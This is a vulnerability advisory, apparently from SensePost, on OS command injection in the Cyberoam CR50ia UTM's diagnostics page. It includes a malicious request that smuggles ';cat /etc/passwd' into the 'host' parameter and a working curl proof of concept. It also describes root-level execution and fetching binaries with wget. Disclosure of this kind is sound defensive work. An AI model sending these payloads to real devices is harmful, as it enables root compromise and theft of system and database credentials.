Cyberoam UTM Command Execution

`SECURITY ADVISORY: cyberoam-utm-command-executaion  
  
Affected Software: Cyberoam CR50ia 10.01.0 build 678  
Vulnerability: OS Command Execution  
Severity: High  
Release Date: Unreleased  
  
  
I. Background  
~~~~~~~~~~~~~   
  
"Cyberoam Unified Threat Management appliances offer assured security,  
connectivity and productivity to Small Office-Home Office (SOHO) and  
Remote Office-Branch Office (ROBO) users by allowing user  
identity-based policy controls."  
  
The Cyberoam UTM exposes a web interface through a Jetty web server  
and this winterface allows authenticated users to perform network  
diagnostic actions such as ping, traceroute, name lookup and so on.  
  
These actions are accessible to authenticated users, and are  
vulnerable to command injection attacks.  
  
  
II. Description  
~~~~~~~~~~~~~~~  
  
Vulnerble functionality lies under SYSTEM --> Diagnostics --> Tools.  
  
The Java Server page /corporate/Controller requires several parameters  
to the server when a user attempts to perform these diagnostic  
actions. The parameter 'host' is vulnerable to OS command injection.  
Some client-side validation is performed to check that the IP address  
provided is in valid format, however no such validation is performed  
on server-side. Hence, a malicious user can easily bypass client-side  
validation checks by using an in-line proxy tool and inject an OS  
command.  
  
Legitimate input:  
__RequestType=ajax&mode=758&tool=1&interface=&host=127.0.0.1&pingipfqdn=127.0.0.1&size=&tracerouteipfqdn=&namelookupipfqdn=&dns=&routelookupipfqdn=&pinginterface=&tracerouteinterface=&selectdns=10.0.0.5&  
  
Malicious input:  
__RequestType=ajax&mode=758&tool=1&interface=&host=127.0.0.1 -c 1;cat  
/etc/passwd&pingipfqdn=127.0.0.1&size=&tracerouteipfqdn=&namelookupipfqdn=&dns=&routelookupipfqdn=&pinginterface=&tracerouteinterface=&selectdns=10.0.0.5&  
  
Test (replace cookie with a valid JSESSIONID):  
curl -d '__RequestType=ajax&mode=758&tool=1&interface=&host=127.0.0.1  
-c 1;cat /etc/passwd&pingipfqdn=127.0.0.1&size=&tracerouteipfqdn=&namelookupipfqdn=&dns=&routelookupipfqdn=&pinginterface=&tracerouteinterface=&selectdns=10.0.0.5&'  
-b "JSESSIONID=u2ur76lhy4qt" -H "Referer: blah"  
http://<webserver>/corporate/Controller  
  
The malicious input will trick the server into reading and displaying  
the contents of passed file in addition to pinging the target host. In  
a similar manner, other Linux OS commands can be executed. It was also  
possible to download a malicious binary from a remote web server, onto  
the appliance using the 'wget' utility.  
  
Commands are executed as the 'root' user.  
  
  
III. Impact  
~~~~~~~~~~~  
  
The vulnerability permits execution of OS commands by crafting  
malicious input. This may lead to complete compromise of the device  
and sensitive data it holds. The appliance uses MySQL and PostgreSQL  
databases to store data. By exploiting this vulnerability, it would be  
possible for an attacker to obtain database credentials from  
configuration files.  
  
If default passwords are not changed, then this represents an easy  
escalation to 'root' on a potentially privileged node on the network.  
  
  
IV. Remediation  
~~~~~~~~~~~~~~~  
  
Implement proper server-side input validation on the 'host' parameter  
and discard any inputs that don't strictly abide by IP address  
formats.  
  
  
V. Disclosure  
~~~~~~~~~~~~~  
  
Reported By: Saurabh Harit, Senior Security Analyst, SensePost  
  
Discovery Date: 2011-11-01  
  
  
VI. References  
~~~~~~~~~~~~~  
  
[1] http://www.cyberoamworks.com/Cyberoam-CR50ia.asp  
  
  
Thanks & Regards,  
-------------------------------------------------------  
Saurabh Harit  
Senior Security Analyst  
SensePost Pvt Ltd  
Phone: +27 768006821  
`